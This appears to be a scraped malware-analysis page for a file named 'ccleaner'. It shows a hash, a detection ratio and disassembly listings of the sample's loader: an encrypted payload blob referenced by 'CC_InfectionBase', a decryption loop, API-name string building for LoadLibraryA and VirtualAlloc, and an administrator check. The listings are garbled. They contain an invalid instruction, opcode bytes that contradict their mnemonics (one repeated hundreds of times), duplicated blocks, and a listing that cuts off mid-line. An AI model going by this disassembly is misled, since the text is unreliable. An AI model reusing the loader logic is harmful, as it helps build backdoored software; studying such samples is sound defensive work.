





SHA256: 36b36ee9515e0a60629d2c722b006b33e543dce1c8c2611053e0651a0bfb2e9

File name: ccleaner

Detection ratio: 4 / 64

Analysis date: 2017-09-18 10:58:51 UTC ( 8 minutes ago )



```
.data:0082E0A8 byte_82E0A8 db 0, 83h, 15h, 97h, 0C7h, 2Ch, 0C9h, 95h, 75h, 68h, 0C8h; 0
.data:0082E0A8 ; DATA XREF: CC_InfectionBase+10f0
.data:0082E0A8 ; CC_InfectionBase:loc_40107Bf ...
.data:0082E0A8 db 0A1h, 3Dh, 76h, 7, 0CCh, 8Eh, 0F7h, 42h, 0B5h, 0BBh; 0Bh
.data:0082E0A8 db 25h, 0BEh, 43h, 7Eh, 67h, 0ABh, 63h, 3Eh, 0F6h, 8, 37h; 15h
.data:0082E0A8 db 0D0h, 0C6h, 8Ah, 0F8h, 0B9h, 0FFh, 27h, 5Bh, 3Ch, 6Eh; 20h
.data:0082E0A8 db 45h, 9Ah, 3Fh, 0D3h, 5Dh, 25h, 2Eh, 1Dh, 0C2h, 6Bh; 2Ah
.data:0082E0A8 db 11h, 99h, 0B0h, 87h, 0F5h, 87h, 0F3h, 0D8h, 29h, 2Fh; 34h
.data:0082E0A8 db 73h, 9Dh, 99h, 71h, 67h, 0BAh, 28h, 0CFh, 51h, 5, 1Dh; 3Eh
.data:0082E0A8 db 0D5h, 0, 77h, 0B3h, 0A7h, 56h, 7Ah, 36h, 63h, 43h, 4Bh; 49h
.data:0082E0A8 db 0AEh, 0FDh, 0ECh, 4Bh, 0A7h, 58h, 0A4h, 0C7h, 5, 86h; 54h
.data:0082E0A8 db 0E1h, 45h, 14h, 5Bh, 42h, 66h, 9Eh, 0E5h, 57h, 0B6h; 5Eh
.data:0082E0A8 db 8Dh, 6Ch, 0CAh, 0EEh, 94h, 94h, 80h, 0A8h, 2Fh, 87h; 68h
.data:0082E0A8 db 8Ch, 0B0h, 0DAh, 0ECh, 0EDh, 0FFh, 0EEh, 0CDh, 70h; 72h
.data:0082E0A8 db 6Ah, 0EEh, 0BAh, 0D6h, 17h, 0A6h, 4Ch, 0F0h, 6Eh, 3Bh; 7Bh
.data:0082E0A8 db 31h, 0A3h, 3Bh, 3Bh, 6Ch, 0B6h, 0B1h, 0BAh, 94h, 0BAh; 85h
.data:0082E0A8 db 51h, 0D1h, 4Ch, 2Ah, 0E8h, 9, 0AAh, 0CEh, 80h, 23h; 8Fh
.data:0082E0A8 db 0B2h, 80h, 2Eh, 0FEh, 1Ch, 0CFh, 9Fh, 0F9h, 0BBh, 19h; 99h
.data:0082E0A8 db 4, 0C4h, 5Ch, 0D3h, 4Fh, 3Ah, 1Fh, 55h, 46h, 0C8h, 6Ch; 0A3h
.data:0082E0A8 db 2Fh, 9, 4Ch, 0E1h, 6Bh, 0DEh, 7Ch, 0F0h, 50h, 6Eh, 3Eh; 0AEh
.data:0082E0A8 db 7Fh, 70h, 0Bh, 0F5h, 40h, 40h, 0D6h, 0FCh, 0Bh, 0Fh; 0B0h
```

```

.text:00401000 sub_401000      proc near                ; CODE XREF: CC_InfectionBase+16↓p
.text:00401000                                     ; DATA XREF: HEADER:00400164↑o ...
.text:00401000
.text:00401000 arg_0          = dword ptr 8
.text:00401000 arg_4          = dword ptr 0Ch
.text:00401000
.text:00401000 mov     edi, edi
.text:00401002 push   ebp
.text:00401003 mov     ebp, esp
.text:00401005 push   esi
.text:00401006 xor     esi, esi
.text:00401008 mov     ecx, 2547383h
.text:0040100D cmp     [ebp+arg_4], esi
.text:00401010 jle     short loc_401029
.text:00401012
.text:00401012 loc_401012:                ; CODE XREF: sub_401000+27↓j
.text:00401012 mov     eax, [ebp+arg_0]
.text:00401015 imul   ecx, 47A6547h
.text:0040101B mov     dl, cl
.text:0040101D ynr     [eax+edi*dl]

```

; CODE XREF: sub\_401000+10↑j

.text:00401029 loc\_401029:

```

.text:00401029 pop     esi
.text:0040102A pop     ebp
.text:0040102B retn
.text:0040102B sub_401000      endp

```

01761E90	55	push	ebp
01761E91	8BEC	mov	ebp, esp
01761E93	83EC 40	sub	esp, 0x40
01761E96	53	push	ebx
01761E97	56	push	esi
01761E98	330B	xor	ebx, ebx
01761E9A	57	push	edi
01761E9B	53	push	ebx
01761E9C	E8 43030000	call	017621E4
01761EA1	8BF8	mov	edi, eax
01761EA3	8D45 F0	lea	eax, dword ptr [ebp-0x10]
01761EA6	50	push	eax
01761EA7	83C7 12	add	edi, 0x12
01761EAA	E8 71020000	call	01762120
01761EAF	8BF0	mov	esi, eax
01761EB1	8D45 D0	lea	eax, dword ptr [ebp-0x30]
01761EB4	50	push	eax
01761EB5	8975 C8	mov	dword ptr [ebp-0x38], esi
01761EB8	FF75 F0	push	dword ptr [ebp-0x10]
01761EBB	C745 D0 4C6F61	mov	dword ptr [ebp-0x30], 0x64616F4C
01761EC2	C745 D4 4C6962	mov	dword ptr [ebp-0x2C], 0x7262694C
01761EC9	C745 D8 617279	mov	dword ptr [ebp-0x28], 0x41797261
01761ED0	895D DC	mov	dword ptr [ebp-0x24], ebx
01761ED3	FFD6	call	esi
01761ED5	8945 C4	mov	dword ptr [ebp-0x3C], eax
01761ED8	8D45 D0	lea	eax, dword ptr [ebp-0x30]
01761EDB	50	push	eax
01761EDC	C745 D8 566972	mov	dword ptr [ebp-0x38], 0x74726956
01761EE3	FF75 F0	push	dword ptr [ebp-0x10]
01761EE6	C745 D4 75616C	mov	dword ptr [ebp-0x2C], 0x416C6175
01761EED	C745 D8 6C6C6F	mov	dword ptr [ebp-0x28], 0x636F6C6C

017A252E	55	push	ebp	
017A252F	8BEC	mov	ebp, esp	
017A2531	81EC A8020000	sub	esp, 0x2A8	
017A2537	53	push	ebx	
017A2538	56	push	esi	
017A2539	8B35 68107A01	mov	esi, dword ptr [0x17A1068]	msvcrt.time
017A253F	33D8	xor	ebx, ebx	
017A2541	57	push	edi	
017A2542	53	push	ebx	
017A2543	FFD6	call	esi	
017A2545	8BF8	mov	edi, eax	
017A2547	C70424 59020000	mov	dword ptr [esp], 0x259	
017A254E	E8 84FFFFFF	call	017A24D7	
017A2553	53	push	ebx	
017A2554	FFD6	call	esi	
017A2556	2BC7	sub	eax, edi	
017A2558	59	pop	ecx	

  

017A255E	59	pop	ecx	
017A255F	72 1B	jb	short 017A257C	
017A2561	53	push	ebx	
017A2562	FFD6	call	esi	
017A2564	59	pop	ecx	
017A2565	8945 F0	mov	dword ptr [ebp-0x10], eax	
017A2568	E8 0AF1FFFF	call	017A1677	
017A256D	3945 F0	cmp	dword ptr [ebp-0x10], eax	
017A2570	72 0A	jb	short 017A257C	
017A2572	FF15 90107A01	call	dword ptr [0x17A1090]	shell32.IsUserAnAdmin
017A2578	85C8	test	eax, eax	
017A257A	75 07	jnz	short 017A2583	
017A257C	33C8	xor	eax, eax	
017A257E	E9 31020000	jmp	017A27B4	
017A2583	E8 B2FAFFFF	call	017A203A	
017A2588	68 00000100	push	0x1000	UNICODE "\\\.\\"
017A258D	6A 0A	push	0x0A	

017A24D7	55	push	ebp	
017A24D8	8BEC	mov	ebp, esp	

017A2504	59	pop	ecx	
017A2565	8945 F0	mov	dword ptr [ebp-0x10], eax	
017A2568	E8 0AF1FFFF	call	017A1677	
017A256D	3945 F0	cmp	dword ptr [ebp-0x10], eax	
017A2570	72 0A	jb	short 017A257C	
017A2572	FF15 90107A01	call	dword ptr [0x17A1090]	shell32.IsUserAnAdmin
017A2578	85C8	test	eax, eax	
017A257A	75 07	jnz	short 017A2583	
017A257C	33C8	xor	eax, eax	
017A257E	E9 31020000	jmp	017A27B4	
017A2583	E8 B2FAFFFF	call	017A203A	
017A2588	68 00000100	push	0x1000	UNICODE "\\\.\\"
017A258D	6A 0A	push	0x0A	

017A215E	0FB645 F8	movzx	eax, byte ptr [ebp-0x8]	
017A2160	58	push	eax	
017A2162	33C8	xor	eax, eax	
017A2164	58	push	eax	
017A2166	FF75 40C	push	dword ptr [ebp+0xC]	
017A2168	58	push	dword ptr [0x17A106C]	
017A2170	83C4 18	add	esp, 0x18	
017A2172	33C8	xor	eax, eax	
017A2174	58	push	0x20	
017A2176	58	push	0x20	
017A2178	58	push	0x20	
017A217A	58	push	0x20	
017A217C	58	push	0x20	
017A217E	58	push	0x20	
017A2180	58	push	0x20	
017A2182	58	push	0x20	
017A2184	58	push	0x20	
017A2186	58	push	0x20	
017A2188	58	push	0x20	
017A218A	58	push	0x20	
017A218C	58	push	0x20	
017A218E	58	push	0x20	
017A2190	58	push	0x20	
017A2192	58	push	0x20	
017A2194	58	push	0x20	
017A2196	58	push	0x20	
017A2198	58	push	0x20	
017A219A	58	push	0x20	
017A219C	58	push	0x20	
017A219E	58	push	0x20	
017A21A0	58	push	0x20	
017A21A2	58	push	0x20	
017A21A4	58	push	0x20	
017A21A6	58	push	0x20	
017A21A8	58	push	0x20	
017A21AA	58	push	0x20	
017A21AC	58	push	0x20	
017A21AE	58	push	0x20	
017A21B0	58	push	0x20	
017A21B2	58	push	0x20	
017A21B4	58	push	0x20	
017A21B6	58	push	0x20	
017A21B8	58	push	0x20	
017A21BA	58	push	0x20	
017A21BC	58	push	0x20	
017A21BE	58	push	0x20	
017A21C0	58	push	0x20	
017A21C2	58	push	0x20	
017A21C4	58	push	0x20	
017A21C6	58	push	0x20	
017A21C8	58	push	0x20	
017A21CA	58	push	0x20	
017A21CC	58	push	0x20	
017A21CE	58	push	0x20	
017A21D0	58	push	0x20	
017A21D2	58	push	0x20	
017A21D4	58	push	0x20	
017A21D6	58	push	0x20	
017A21D8	58	push	0x20	
017A21DA	58	push	0x20	
017A21DC	58	push	0x20	
017A21DE	58	push	0x20	
017A21E0	58	push	0x20	
017A21E2	58	push	0x20	
017A21E4	58	push	0x20	
017A21E6	58	push	0x20	
017A21E8	58	push	0x20	
017A21EA	58	push	0x20	
017A21EC	58	push	0x20	
017A21EE	58	push	0x20	
017A21F0	58	push	0x20	
017A21F2	58	push	0x20	
017A21F4	58	push	0x20	
017A21F6	58	push	0x20	
017A21F8	58	push	0x20	
017A21FA	58	push	0x20	
017A21FC	58	push	0x20	
017A21FE	58	push	0x20	
017A2200	58	push	0x20	
017A2202	58	push	0x20	
017A2204	58	push	0x20	
017A2206	58	push	0x20	
017A2208	58	push	0x20	
017A220A	58	push	0x20	
017A220C	58	push	0x20	
017A220E	58	push	0x20	
017A2210	58	push	0x20	
017A2212	58	push	0x20	
017A2214	58	push	0x20	
017A2216	58	push	0x20	
017A2218	58	push	0x20	
017A221A	58	push	0x20	
017A221C	58	push	0x20	
017A221E	58	push	0x20	
017A2220	58	push	0x20	
017A2222	58	push	0x20	
017A2224	58	push	0x20	
017A2226	58	push	0x20	
017A2228	58	push	0x20	
017A222A	58	push	0x20	
017A222C	58	push	0x20	
017A222E	58	push	0x20	
017A2230	58	push	0x20	
017A2232	58	push	0x20	
017A2234	58	push	0x20	
017A2236	58	push	0x20	
017A2238	58	push	0x20	
017A223A	58	push	0x20	
017A223C	58	push	0x20	
017A223E	58	push	0x20	
017A2240	58	push	0x20	
017A2242	58	push	0x20	
017A2244	58	push	0x20	
017A2246	58	push	0x20	
017A2248	58	push	0x20	
017A224A	58	push	0x20	
017A224C	58	push	0x20	
017A224E	58	push	0x20	
017A2250	58	push	0x20	
017A2252	58	push	0x20	
017A2254	58	push	0x20	
017A2256	58	push	0x20	
017A2258	58	push	0x20	
017A225A	58	push	0x20	
017A225C	58	push	0x20	
017A225E	58	push	0x20	
017A2260	58	push	0x20	
017A2262	58	push	0x20	
017A2264	58	push	0x20	
017A2266	58	push	0x20	
017A2268	58	push	0x20	
017A226A	58	push	0x20	
017A226C	58	push	0x20	
017A226E	58	push	0x20	
017A2270	58	push	0x20	
017A2272	58	push	0x20	
017A2274	58	push	0x20	
017A2276	58	push	0x20	
017A2278	58	push	0x20	
017A227A	58	push	0x20	
017A227C	58	push	0x20	
017A227E	58	push	0x20	
017A2280	58	push	0x20	
017A2282	58	push	0x20	
017A2284	58	push	0x20	
017A2286	58	push	0x20	
017A2288	58	push	0x20	
017A228A	58	push	0x20	
017A228C	58	push	0x20	
017A228E	58	push	0x20	
017A2290	58	push	0x20	
017A2292	58	push	0x20	
017A2294	58	push	0x20	
017A2296	58	push	0x20	
017A2298	58	push	0x20	
017A229A	58	push	0x20	
017A229C	58	push	0x20	
017A229E	58	push	0x20	
017A22A0	58	push	0x20	
017A22A2	58	push	0x20	
017A22A4	58	push	0x20	
017A22A6	58	push	0x20	
017A22A8	58	push	0x20	
017A22AA	58	push	0x20	
017A22AC	58	push	0x20	
017A22AE	58	push	0x20	
017A22B0	58	push	0x20	
017A22B2	58	push	0x20	
017A22B4	58	push	0x20	
017A22B6	58	push	0x20	
017A22B8	58	push	0x20	
017A22BA	58	push	0x20	
017A22BC	58	push	0x20	
017A22BE	58	push	0x20	
017A22C0	58	push	0x20	
017A22C2	58	push	0x20	
017A22C4	58	push	0x20	
017A22C6	58	push	0x20	
017A22C8	58	push	0x20	
017A22CA	58	push	0x20	
017A22CC	58	push	0x20	
017A22CE	58	push	0x20	
017A22D0	58	push	0x20	
017A22D2	58	push	0x20	
017A22D4	58	push	0x20	
017A22D6	58	push	0x20	
017A22D8	58	push	0x20	
017A22DA	58	push	0x20	
017A22DC	58	push	0x20	
017A22DE	58	push	0x20	
017A22E0	58	push	0x20	
017A22E2	58	push	0x20	
017A22E4	58	push	0x20	
017A22E6	58	push	0x20	
017A22E8	58	push	0x20	
017A22EA	58	push	0x20	
017A22EC	58	push	0x20	
017A22EE	58	push	0x20	
017A22F0	58	push	0x20	
017A22F2	58	push	0x20	
017A22F4	58	push	0x20	
017A22F6	58	push	0x20	
017A22F8	58	push	0x20	
017A22FA	58	push	0x20	
017A22FC	58	push	0x20	
017A22FE	58	push	0x20	
017A2300	58	push	0x20	
017A2302	58	push	0x20	
017A2304	58	push	0x20	
017A2306	58	push	0x20	
017A2308	58	push	0x20	
017A230A	58	push	0x20	
017A230C	58	push	0x20	
017A230E	58	push	0x20	
017A2310	58	push	0x20	
017A2312	58	push	0x20	
017A2314	58	push	0x20	
017A2316	58	push	0x20	
017A2318	58	push	0x20	
017A231A	58	push	0x20	
017A231C	58	push	0x20	
017A231E	58	push	0x20	
017A2320	58			





